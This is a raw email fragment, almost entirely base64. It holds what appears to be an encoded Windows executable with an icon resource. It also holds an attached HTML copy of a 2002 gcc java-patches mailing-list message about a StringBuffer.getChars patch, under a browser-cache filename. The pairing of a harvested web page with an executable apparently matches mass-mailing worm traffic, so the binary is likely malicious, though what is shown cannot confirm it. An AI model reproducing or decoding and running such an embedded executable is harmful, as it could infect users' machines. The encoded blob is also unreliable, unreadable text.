AAGAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAAGAAAAB wAAAA8AAAAPgAAAH8AAAD/gAAB/8AAA//gAAf/+AAf//8A//KAAAABAAAAAgAAAAAQAEAAAA AADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAIAAAACAgACAAAAAgACAAICAAACAgIAA wMDAAAAA/wAA/wAAAP//AP8AAAD/AP8A//8AAP///wAAAAAAAAAAAAAACIc6gAAAAA/4hzLM YAAACPiHMsZoAACHj4csZoYACHh4hyxoqqAHh4dwCCqiIAh4eA/wERVQBVERD/CHh4ACKqKA CHh4cAqqhsJ4h4eAAGhmwnj4eAAAhmwjeI+IAAAGzCN4j/AAAAAIo3iAAAAAAAAAAAAAAPgf AADgBwAAwAMAAIABAACAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAEAAIABAADAAwAA 4AcAAPgfAAAAAAEAAgAgIBAAAQAEAOgCAAABABAQEAABAAQAKAEAAAIAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAATVqQAAMA AAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA gAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v ZGUuDQ0KJAAAAAAAAABQRQAATAEFALniUTkAAAAAAAAAAOAADiELAQI8AAgAAAAMAAAAAAAA HBAAAAAQAAAAIAAAAABxfwAQAAAAEAAABAAAAAAAAAAEAAAAAAAAAABgAAAABAAAsmAAAAIA AAAAABAAABAAAAAAEAAAEAAAAAAAABAAAADgFQAAUQAAAAAwAAA8AAAAAEAAAPADAAAAAAAA AAAAAAAAAAAAAAAAAFAAAHgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAC4MAAAfAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC50ZXh0AAAA MQYAAAAQAAAAEAAAABAAAAAAAAAAAAAAAAAAACAAAGAuZGF0YQAAAKAAAAAAIAAAABAAAAAg AAAAAAAAAAAAAAAAAABAAADALmlkYXRhAAA6AwAAADAAAAAQAAAAMAAAAAAAAAAAAAAAAAAA QAAAQC5yc3JjAAAA8AMAAABAAAAAEAAAAEAAAAAAAAAAAAAAAAAAAEAAAEAucmVsb2MAALQA AAAAUAAAABAAAABQAAAAAAAAAAAAAAAAAABAAABCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAA --R5rVE7iQ32P509HB06b08m1T0hyi5bRw08 --R5rVE7iQ32P509HB06b08m1T0hyi5bRw08 Content-Type: application/octet-stream; name=msg00490[1].htm Content-Transfer-Encoding: base64 Content-ID: PCEtLSBNSG9uQXJjIHYyLjUuMTMgLS0+CjwhLS1YLVN1YmplY3Q6IFJlOiBTdHJpbmdCdWZm ZXIgcGF0Y2ggLS0+CjwhLS1YLUZyb20tUjEzOiBbbmV4IEl2cnlubmVxIDx6bmV4Tnh5Ynpj LmJldD4gLS0+CjwhLS1YLURhdGU6IDIyIERlYyAyMDAyIDIxOjE2OjQ2ICYjNDU7MDAwMCAt LT4KPCEtLVgtTWVzc2FnZS1JZDogMTA0MDU5MTc4OS43NzUuMTcuY2FtZWxAZWxzc2Nob3Qg LS0+CjwhLS1YLUNvbnRlbnQtVHlwZTogbXVsdGlwYXJ0L21peGVkIC0tPgo8IS0tWC1SZWZl cmVuY2U6IDEwNDA1OTEwNjkuNzc3LjYuY2FtZWxAZWxzc2Nob3QgLS0+CjwhLS1YLUhlYWQt RW5kLS0+CjwhRE9DVFlQRSBIVE1MIFBVQkxJQyAiLS8vVzNDLy9EVEQgSFRNTC8vRU4iPgo8 SFRNTD4KPEhFQUQ+CjxUSVRMRT5NYXJrIFdpZWxhYXJkIC0gUmU6IFN0cmluZ0J1ZmZlciBw YXRjaDwvVElUTEU+CjwvSEVBRD4KPEJPRFk+CjwhLS1YLUJvZHktQmVnaW4tLT4KPCEtLVgt VXNlci1IZWFkZXItLT4KPCEtLWh0ZGlnX25vaW5kZXgtLT4KPHA+VGhpcyBpcyB0aGUgbWFp bCBhcmNoaXZlIG9mIHRoZSAKPHR0PmphdmEtcGF0Y2hlc0BnY2MuZ251Lm9yZzwvdHQ+Cm1h aWxpbmcgbGlzdCBmb3IgdGhlIDxhIGhyZWY9Ii9qYXZhLyI+SmF2YSBwcm9qZWN0PC9hPi4K Cgo8IS0tL2h0ZGlnX25vaW5kZXgtLT4KPCEtLVgtVXNlci1IZWFkZXItRW5kLS0+CjwhLS1Y LVRvcFBOSS0tPgo8IS0taHRkaWdfbm9pbmRleC0tPgo8SFI+Cjx0YWJsZSBib3JkZXI9IjAi PgogIDx0cj48dGggYWxpZ249ImxlZnQiPkluZGV4IE5hdjo8L3RoPgogICAgICA8dGQgY29s c3Bhbj0iMiI+CiAgICAgICAgWzxBIEhSRUY9ImluZGV4Lmh0bWwjMDA0OTAiPkRhdGUmbmJz cDtJbmRleDwvQT5dIFs8YSBocmVmPSJzdWJqZWN0cy5odG1sIzAwNDkwIj5TdWJqZWN0Jm5i c3A7SW5kZXg8L2E+XSBbPGEgaHJlZj0iYXV0aG9ycy5odG1sIzAwNDkwIj5BdXRob3ImbmJz cDtJbmRleDwvYT5dIFs8QSBIUkVGPSJ0aHJlYWRzLmh0bWwjMDA0OTAiPlRocmVhZCZuYnNw O0luZGV4PC9BPl0KICAgICAgPC90ZD4KICA8L3RyPgogIDx0cj48dGggYWxpZ249ImxlZnQi Pk1lc3NhZ2UgTmF2OjwvdGg+CiAgICAgIDx0ZD5bPEEgSFJFRj0ibXNnMDA0ODkuaHRtbCI+ RGF0ZSZuYnNwO1ByZXY8L0E+XSZuYnNwO1s8QSBIUkVGPSJtc2cwMDQ5MS5odG1sIj5EYXRl Jm5ic3A7TmV4dDwvQT5dPC90ZD4KICAgICAgPHRkPls8QSBIUkVGPSJtc2cwMDQ4OS5odG1s Ij5UaHJlYWQmbmJzcDtQcmV2PC9BPl0mbmJzcDtbPEEgSFJFRj0ibXNnMDA0ODkuaHRtbCI+ VGhyZWFkJm5ic3A7TmV4dDwvQT5dPC90ZD4KICA8L3RyPgogIDx0cj48dGggYWxpZ249Imxl ZnQiPk90aGVyIGZvcm1hdDo8L3RoPgogIDx0ZD5bPGEgaHJlZj0iL2NnaS1iaW4vZ2V0LXJh dy1tc2c/bGlzdG5hbWU9amF2YS1wYXRjaGVzJmRhdGU9MjAwMi1xNCZtc2dpZD0xMDQwNTkx Nzg5Ljc3NS4xNy5jYW1lbEBlbHNzY2hvdCI+UmF3IHRleHQ8L2E+XTwvdGQ+CiAgPC90cj4K PC90YWJsZT4KPCEtLS9odGRpZ19ub2luZGV4LS0+Cgo8IS0tWC1Ub3BQTkktRW5kLS0+Cjwh LS1YLU1zZ0JvZHktLT4KPCEtLVgtU3ViamVjdC1IZWFkZXItQmVnaW4tLT4KPGgxPlJlOiBT dHJpbmdCdWZmZXIgcGF0Y2g8L2gxPgo8IS0tWC1TdWJqZWN0LUhlYWRlci1FbmQtLT4KPCEt LVgtSGVhZC1vZi1NZXNzYWdlLS0+Cjx1bD4KPGxpPjxlbT5Gcm9tPC9lbT46IE1hcmsgV2ll bGFhcmQgJmx0O21hcmsgYXQga2xvbXAgZG90IG9yZyZndDs8L2xpPgo8bGk+PGVtPlRvPC9l bT46IGphdmEtcGF0Y2hlcyBhdCBnY2MgZG90IGdudSBkb3Qgb3JnPC9saT4KPGxpPjxlbT5E YXRlPC9lbT46IDIyIERlYyAyMDAyIDIyOjE2OjI5ICswMTAwPC9saT4KPGxpPjxlbT5TdWJq ZWN0PC9lbT46IFJlOiBTdHJpbmdCdWZmZXIgcGF0Y2g8L2xpPgo8bGk+PGVtPk9yZ2FuaXph dGlvbjwvZW0+OiA8L2xpPgo8bGk+PGVtPlJlZmVyZW5jZXM8L2VtPjogJmx0OzxhIGhyZWY9 Im1zZzAwNDg4Lmh0bWwiPjEwNDA1OTEwNjkuNzc3LjYuY2FtZWxAZWxzc2Nob3Q8L2E+Jmd0 OzwvbGk+CjwvdWw+CjwhLS1YLUhlYWQtb2YtTWVzc2FnZS1FbmQtLT4KPCEtLVgtSGVhZC1C b2R5LVNlcC1CZWdpbi0tPgo8aHI+CjwhLS1YLUhlYWQtQm9keS1TZXAtRW5kLS0+CjwhLS1Y LUJvZHktb2YtTWVzc2FnZS0tPgo8cHJlPkhpLAoKT24gU3VuLCAyMDAyLTEyLTIyIGF0IDIy OjA0LCBNYXJrIFdpZWxhYXJkIHdyb3RlOgoKJmd0OyAyMDAyLTEyLTIxICBNYXJrIFdpZWxh YXJkICAmbHQ7bWFya0BrbG9tcC5vcmcmZ3Q7CiZndDsgCiZndDsgICAgICogamF2YS9sYW5n L1N0cmluZ0J1ZmZlci5qYXZhIChnZXRDaGFycyk6IFJlbW92ZSB3cm9uZyBvZiBkc3RPZmZz ZXQKJmd0OyAgICAgYWdhaW5zdCBjb3VudC4KCk5vdyB3aXRoIHBhdGNoIGF0dGFjaGVkLgoK U29ycnksCgpNYXJrCjwvcHJlPgo8cHJlPkluZGV4OiBqYXZhL2xhbmcvU3RyaW5nQnVmZmVy LmphdmEKPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PQpSQ1MgZmlsZTogL2N2cy9nY2MvZ2NjL2xpYmphdmEvamF2 YS9sYW5nL1N0cmluZ0J1ZmZlci5qYXZhLHYKcmV0cmlldmluZyByZXZpc2lvbiAxLjEzCmRp ZmYgLXUgLXIxLjEzIFN0cmluZ0J1ZmZlci5qYXZhCi0tLSBqYXZhL2xhbmcvU3RyaW5nQnVm ZmVyLmphdmEJMjIgSmFuIDIwMDIgMjI6NDA6MTYgLTAwMDAJMS4xMworKysgamF2YS9sYW5n L1N0cmluZ0J1ZmZlci5qYXZhCTIyIERlYyAyMDAyIDIwOjQzOjE5IC0wMDAwCkBAIC0zMDgs MjYgKzMwOCwyNyBAQAogICAgICAgfQogICB9CiAKLSAgLyoqIEdldCB0aGUgc3BlY2lmaWVk IGFycmF5IG9mIGNoYXJhY3RlcnMuCi0gICAqICBUaGUgY2hhcmFjdGVycyB3aWxsIGJlIGNv cGllZCBpbnRvIHRoZSBhcnJheSB5b3UgcGFzcyBpbi4KLSAgICogIEBwYXJhbSBzcmNPZmZz ZXQgdGhlIGluZGV4IHRvIHN0YXJ0IGNvcHlpbmcgZnJvbSBpbiB0aGUKLSAgICogICAgICAg ICAmbHQ7Y29kZSZndDtTdHJpbmdCdWZmZXImbHQ7L2NvZGUmZ3Q7LgotICAgKiAgQHBhcmFt IHNyY0VuZCB0aGUgbnVtYmVyIG9mIGNoYXJhY3RlcnMgdG8gY29weS4KLSAgICogIEBwYXJh bSBkc3QgdGhlIGFycmF5IHRvIGNvcHkgaW50by4KLSAgICogIEBwYXJhbSBkc3RPZmZzZXQg dGhlIGluZGV4IHRvIHN0YXJ0IGNvcHlpbmcgaW50byAmbHQ7Y29kZSZndDtkc3QmbHQ7L2Nv ZGUmZ3Q7LgotICAgKiAgQGV4Y2VwdGlvbiBOdWxsUG9pbnRlckV4Y2VwdGlvbiBpZiBkc3Qg aXMgbnVsbC4KLSAgICogIEBleGNlcHRpb24gSW5kZXhPdXRPZkJvdW5kc0V4Y2VwdGlvbiBp ZiBhbnkgc291cmNlIG9yIHRhcmdldAotICAgKiAgICAgICAgICAgICBpbmRpY2VzIGFyZSBv dXQgb2YgcmFuZ2UuCi0gICAqICBAc2VlIGphdmEubGFuZy5TeXN0ZW0jYXJyYXljb3B5KGph dmEubGFuZy5PYmplY3QsaW50LGphdmEubGFuZy5PYmplY3QsaW50LGludCkKKyAgLyoqCisg ICAqIEdldCB0aGUgc3BlY2lmaWVkIGFycmF5IG9mIGNoYXJhY3RlcnMuICZsdDtjb2RlJmd0 O3NyY09mZnNldCAtIHNyY0VuZCZsdDsvY29kZSZndDsKKyAgICogY2hhcmFjdGVycyB3aWxs IGJlIGNvcGllZCBpbnRvIHRoZSBhcnJheSB5b3UgcGFzcyBpbi4KKyAgICoKKyAgICogQHBh cmFtIHNyY09mZnNldCB0aGUgaW5kZXggdG8gc3RhcnQgY29weWluZyBmcm9tIChpbmNsdXNp dmUpCisgICAqIEBwYXJhbSBzcmNFbmQgdGhlIGluZGV4IHRvIHN0b3AgY29weWluZyBmcm9t IChleGNsdXNpdmUpCisgICAqIEBwYXJhbSBkc3QgdGhlIGFycmF5IHRvIGNvcHkgaW50bwor ICAgKiBAcGFyYW0gZHN0T2Zmc2V0IHRoZSBpbmRleCB0byBzdGFydCBjb3B5aW5nIGludG8K KyAgICogQHRocm93cyBOdWxsUG9pbnRlckV4Y2VwdGlvbiBpZiBkc3QgaXMgbnVsbAorICAg KiBAdGhyb3dzIEluZGV4T3V0T2ZCb3VuZHNFeGNlcHRpb24gaWYgYW55IHNvdXJjZSBvciB0 YXJnZXQgaW5kaWNlcyBhcmUKKyAgICogICAgICAgICBvdXQgb2YgcmFuZ2UgKHdoaWxlIHVu c3BlY2lmaWVkLCBzb3VyY2UgcHJvYmxlbXMgY2F1c2UgYQorICAgKiAgICAgICAgIFN0cmlu Z0luZGV4T3V0T2ZCb3VuZHNFeGNlcHRpb24sIGFuZCBkZXN0IHByb2JsZW1zIGNhdXNlIGFu CisgICAqICAgICAgICAgQXJyYXlJbmRleE91dE9mQm91bmRzRXhjZXB0aW9uKQorICAgKiBA c2VlIFN5c3RlbSNhcnJheWNvcHkoT2JqZWN0LCBpbnQsIE9iamVjdCwgaW50LCBpbnQpCiAg ICAqLwotICBwdWJsaWMgc3luY2hyb25pemVkIHZvaWQgZ2V0Q2hhcnMgKGludCBzcmNPZmZz ZXQsIGludCBzcmNFbmQsCi0JCQkJICAgICBjaGFyW10gZHN0LCBpbnQgZHN0T2Zmc2V0KQor ICBwdWJsaWMgc3luY2hyb25pemVkIHZvaWQgZ2V0Q2hhcnMoaW50IHNyY09mZnNldCwgaW50 IHNyY0VuZCwKKyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNoYXJbXSBk c3QsIGludCBkc3RPZmZzZXQpCiAgIHsKLSAgICBpZiAoc3JjT2Zmc2V0ICZsdDsgMCB8fCBz cmNPZmZzZXQgJmd0OyBzcmNFbmQpCi0gICAgICB0aHJvdyBuZXcgU3RyaW5nSW5kZXhPdXRP ZkJvdW5kc0V4Y2VwdGlvbiAoc3JjT2Zmc2V0KTsKICAgICBpbnQgdG9kbyA9IHNyY0VuZCAt IHNyY09mZnNldDsKLSAgICBpZiAoc3JjRW5kICZndDsgY291bnQgfHwgZHN0T2Zmc2V0ICsg dG9kbyAmZ3Q7IGNvdW50KQotICAgICAgdGhyb3cgbmV3IFN0cmluZ0luZGV4T3V0T2ZCb3Vu ZHNFeGNlcHRpb24gKHNyY0VuZCk7CisgICAgaWYgKHNyY09mZnNldCAmbHQ7IDAgfHwgc3Jj RW5kICZndDsgY291bnQgfHwgdG9kbyAmbHQ7IDApCisgICAgICB0aHJvdyBuZXcgU3RyaW5n SW5kZXhPdXRPZkJvdW5kc0V4Y2VwdGlvbigpOwogICAgIFN5c3RlbS5hcnJheWNvcHkodmFs dWUsIHNyY09mZnNldCwgZHN0LCBkc3RPZmZzZXQsIHRvZG8pOwogICB9CiAKPC9wcmU+Cgo8 IS0tWC1Cb2R5LW9mLU1lc3NhZ2UtRW5kLS0+CjwhLS1YLU1zZ0JvZHktRW5kLS0+CjwhLS1Y LUZvbGxvdy1VcHMtLT4KPGhyPgo8IS0tWC1Gb2xsb3ctVXBzLUVuZC0tPgo8IS0tWC1SZWZl cmVuY2VzLS0+Cjx1bD48bGk+PHN0cm9uZz5SZWZlcmVuY2VzPC9zdHJvbmc+Ogo8dWw+Cjxs aT48c3Ryb25nPjxhIG5hbWU9IjAwNDg4IiBocmVmPSJtc2cwMDQ4OC5odG1sIj5TdHJpbmdC dWZmZXIgcGF0Y2g8L2E+PC9zdHJvbmc+Cjx1bD48bGk+PGVtPkZyb206PC9lbT4gTWFyayBX aWVsYWFyZDwvbGk+PC91bD48L2xpPgo8L3VsPjwvbGk+PC91bD4KPCEtLVgtUmVmZXJlbmNl cy1FbmQtLT4KPCEtLVgtQm90UE5JLS0+CjwhLS1odGRpZ19ub2luZGV4LS0+Cjx0YWJsZSBi b3JkZXI9IjAiPgogIDx0cj48dGggYWxpZ249ImxlZnQiPkluZGV4IE5hdjo8L3RoPgogICAg ICA8dGQgY29sc3Bhbj0iMiI+CiAgICAgICAgWzxBIEhSRUY9ImluZGV4Lmh0bWwjMDA0OTAi PkRhdGUmbmJzcDtJbmRleDwvQT5dIFs8YSBocmVmPSJzdWJqZWN0cy5odG1sIzAwNDkwIj5T dWJqZWN0Jm5ic3A7SW5kZXg8L2E+XSBbPGEgaHJlZj0iYXV0aG9ycy5odG1sIzAwNDkwIj5B dXRob3ImbmJzcDtJbmRleDwvYT5dIFs8QSBIUkVGPSJ0aHJlYWRzLmh0bWwjMDA0OTAiPlRo cmVhZCZuYnNwO0luZGV4PC9BPl0KICAgICAgPC90ZD4KICA8L3RyPgogIDx0cj48dGggYWxp Z249ImxlZnQiPk1lc3NhZ2UgTmF2OjwvdGg+CiAgICAgIDx0ZD5bPEEgSFJFRj0ibXNnMDA0 ODkuaHRtbCI+RGF0ZSZuYnNwO1ByZXY8L0E+XSZuYnNwO1s8QSBIUkVGPSJtc2cwMDQ5MS5o dG1sIj5EYXRlJm5ic3A7TmV4dDwvQT5dPC90ZD4KICAgICAgPHRkPls8QSBIUkVGPSJtc2cw MDQ4OS5odG1sIj5UaHJlYWQmbmJzcDtQcmV2PC9BPl0mbmJzcDtbPEEgSFJFRj0ibXNnMDA0 